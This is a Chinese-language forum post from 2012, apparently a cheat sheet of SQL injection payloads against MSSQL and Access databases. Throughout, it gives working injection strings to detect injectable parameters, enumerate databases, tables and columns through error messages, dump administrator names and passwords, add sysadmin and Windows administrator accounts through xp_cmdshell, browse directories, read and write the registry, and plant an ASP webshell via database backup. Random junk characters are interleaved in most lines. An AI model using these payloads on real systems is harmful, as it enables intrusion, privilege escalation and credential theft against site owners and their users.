找回密码
 立即注册
查看: 2753|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
2 ~- p+ r4 j# f$ h# [+ [3 m; l;and 1=1
; L, g6 {5 z6 i;and 1=2 2 D* Q; n" U6 D1 a

* x3 T) {  Z- k3 t) J3 M+ d2.初步判断是否是mssql 5 @. E1 A; s4 a( t
;and user>0
. d2 L/ Q7 c8 x! C
/ @7 v6 A) B$ @& p! ^) T! X- N( `3.判断数据库系统 5 F/ B! F5 j: O0 _* f+ L7 M  x
;and (select count(*) from sysobjects)>0 mssql 2 N0 V# V. x& o3 }
;and (select count(*) from msysobjects)>0 access ) Z0 O$ n# o5 F9 g: L! t' Y
" @0 a/ o3 B4 J6 H
4.注入参数是字符
8 T& [) |4 e7 Z' u8 _6 \7 i, n; v'and [查询条件] and ''=' : U- c) D3 T4 }5 H3 Z

3 j! H0 a+ X! S9 u7 I& T; v# f6 O* a5 j5.搜索时没过滤参数的
6 h% [- a" e+ q0 }( j8 L7 y: ^'and [查询条件] and '%25'='
, d" O& m* }; {
1 _/ G8 q( M1 j0 T( T# v6.猜数表名
9 [) c& v  b- z;and (select Count(*) from [表名])>0
5 C& U- j/ s* \- S8 b, u9 c: T, H- z& F3 n6 F
7.猜字段
% t3 h- A' B1 W% i, a0 w3 Y9 E;and (select Count(字段名) from 表名)>0
3 `) g3 B5 v/ a) ^0 Y% l0 o7 z: P% j* m+ t
8.猜字段中记录长度 1 q9 {6 n; W, E/ a6 L: d# D
;and (select top 1 len(字段名) from 表名)>0 - G* {1 I! N0 A( q. Z! G$ r
, S0 a, j# D4 S! q
9.(1)猜字段的ascii值(access)
2 O/ a9 m- i8 r* q;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 % [$ U! i$ @7 {3 S7 p

4 i8 ?+ O3 Q+ B' P(2)猜字段的ascii值(mssql)
- f; i, S& g8 ]; r2 O- }9 u% v( |& `;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 8 W6 ]7 o' D9 A8 n" j) I8 ^

- f& f5 [% \/ o; k10.测试权限结构(mssql)
+ n6 R# z5 ?4 v$ H;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
3 v# D0 m. \5 H0 m9 q" I" K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
% V* W, K1 K/ u3 M/ K4 d;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ) }% e0 X! R" k3 J# H5 J& T3 A, j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 B* g' D3 n' F2 E8 `; S" \0 O- M2 r;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' y* J/ \1 k% j3 n/ l' B7 }7 Y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + U" L1 v6 Z" q, X
;and 1=(select IS_MEMBER('db_owner'));-- , y# d  X5 X7 f+ z' k9 a2 K

' i6 z8 F7 y6 K& u1 Z11.添加mssql和系统的帐户 5 S% z1 H4 \: W( f1 n1 v' s
;exec master.dbo.sp_addlogin username;-- : @0 g0 V% D! i/ @; K5 u
;exec master.dbo.sp_password null,username,password;-- # R1 X, I. r# \& [" [
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9 {1 P: g9 g1 l" Z3 C0 X
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
4 {- h; c0 F3 W: t' y) _. H# ?;exec master.dbo.xp_cmdshell 'net user username password /add';--
* q* Y5 J* {- {! V;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
0 j- y" }: j1 z+ `( w" C* Q, l, ^% x/ y! H. j) Z* R$ `
12.(1)遍历目录
0 \8 i" i4 i5 |;create table dirs(paths varchar(100), id int) 5 N+ t) C" E9 V) G9 E$ i& D
;insert dirs exec master.dbo.xp_dirtree 'c:\' ; i3 [6 T% I6 h. R; J; ~
;and (select top 1 paths from dirs)>0
/ c- ]* u# t  T" \: x" X' T/ ~;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
) ?9 }+ y( X5 U3 S6 i2 P* `! _# O
6 S* D7 K6 J2 c3 `* O(2)遍历目录
; ?+ ?9 e  g9 M- h;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! k3 x1 x  u& V;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
% g+ K0 }, {8 v5 ~5 i# N5 t;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 # `! A3 {' n1 G- X
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
+ Z7 s. g3 y4 Y4 a9 Y;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
6 T0 R: M( r  E& K7 s# x3 r! f* E! E3 b/ Z  u- X
13.mssql中的存储过程
% X! P, t  h7 I4 ]* k) f' U0 sxp_regenumvalues 注册表根键, 子键
1 [( T( N" V+ d1 H. i& U5 E;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 P, l$ Q5 q) Bxp_regread 根键,子键,键值名
) a$ D( f+ t% v;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值   j7 Z! _( R( c" @9 r+ r# \1 d
xp_regwrite 根键,子键, 值名, 值类型, 值
3 l2 Z/ |# t. @8 |' i值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 Z+ @6 T0 s  }5 i- Q8 R# u3 T;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: q% R/ r& j9 p& m0 K; j. H0 Rxp_regdeletevalue 根键,子键,值名
$ q/ ^3 s3 L5 d$ y  q6 ?exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 2 i& n; d( k" P3 Y; n  E7 l
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 : H2 h$ ~. {9 ~

( j+ D( b' L+ L6 E# d14.mssql的backup创建webshell
) {/ k! }' ~( h2 a8 W: R- J( K2 Nuse model
5 p; g! j; P5 Q% [create table cmd(str image); 2 f( O' z1 [$ m, N  [1 S
insert into cmd(str) values ('<% Dim oScript %>'); % R5 ]) C/ ?2 I0 {/ S
backup database model to disk='c:\l.asp'; 7 M: l& l/ b( K, l4 J7 u1 ]  H) _

4 u1 B- A8 B+ q2 w) d7 ~15.mssql内置函数 . d# O2 q/ _5 }9 u- n. t, L
;and (select @@version)>0 获得Windows的版本号 5 N5 ^5 M; m4 [+ z: d. B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
% _) ~* o- k$ S7 Z;and (select user_name())>0 爆当前系统的连接用户
. |$ L9 a3 d' v! W- l$ B' [: u;and (select db_name())>0 得到当前连接的数据库 8 l( v4 ^" _8 j" @# p- l; A: R  n
, U. n4 W( c, Z) v

1 Z2 G' S1 k$ b* i- B
3 M. w2 L$ j2 C- BMSSQL手注暴库9 Z+ [% I+ F7 c( \/ S
! c; K& A7 s" K8 P
1.暴出当前表名和列名
4 _5 |3 W. i! M在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。) |+ A8 ]8 `, r) Y0 K
8 U; F' |7 E9 D
第一.爆出所有数据库名- T5 \6 y; `) T6 c- \* _
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。9 U' f7 ^+ S# G9 n% o/ B
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
  S  E! C  D5 ^& a1 m
3 h; M) m9 U# |* q; D# _and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名$ ?1 g, N4 C  d% V- G: c
3 S' w; W  A1 b$ z+ n  N2 L

) B( L7 s- {/ a+ E第二.爆出指定库中的所有表名
& H( g9 D. A& v2 ~得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。; P$ Q; i! Y. ?( [4 r! @
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。$ W2 T; e% q( u: `5 Z* P
# J0 w% v3 {$ F
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--; l# i# O1 k) P* x+ t  A7 Q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--" H# [: f1 l! a- J, M7 r7 @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
  [9 I+ ^5 n1 B" C/ P. H! P2 Q  Z+ _' u
4.爆出指定表中的所有列名
: K+ {+ Q4 i1 {and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 8 P, K. Y; ~- f
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'. G/ u! I! s1 e5 B
: P0 o4 }/ A& I& D! R* v2 o
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
) X& @# D$ k) ~" q7 O( j
0 I' `' ?: C* r$ ]* r% _2 L再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
. @; E  _  e7 s- a依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。+ [# I4 Z+ j8 W0 o& d; a

. t, C: |! n! q% M" |  o# y9 o$ M* A8 V" p
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
& B1 B2 O1 q; i& c
% `. ], a4 |: M: ~and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名1 Y1 v" _# H7 \8 B# X1 ]/ ]) q5 J

& C& \: |! E: {; p/ R/ yand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
9 h- A/ J3 k2 ?% o8 Y* Y3 A5 J- _! Z! A) }5 _

1 s5 x) v) p7 _& N0 Y( C* |  K+ k* n  M6 _. V$ ?- p
5.读取指定表中的数据" [$ ]( e7 c$ [1 @# \5 X
) j& E0 B' b+ E; w: p
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
9 ]( J% w3 C8 N- h5 N! V1 n$ G
: ]- O( R8 q5 N' zand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
3 r9 u7 }* ^* t4 h  i
( Z& Q3 I5 l# P. L/ _! m5 c9 Cand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码! O) g( k3 c/ o4 n# B3 z

# H# g$ Q( E4 g: i
; J' B8 [: p) I: x' F4 wand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)9 ?# Y/ L$ Y. J' O8 k$ {* Q
1 v. }2 t* V4 A. a
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang): j! @4 u9 x, r: V, {. u
: K% Q: g# h4 h6 U3 F) b' y
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--  A' `" b, L0 o  M+ S6 z

, V. [& r4 ^2 d知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
* l; [: q" |- |& V$ a$ d4 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表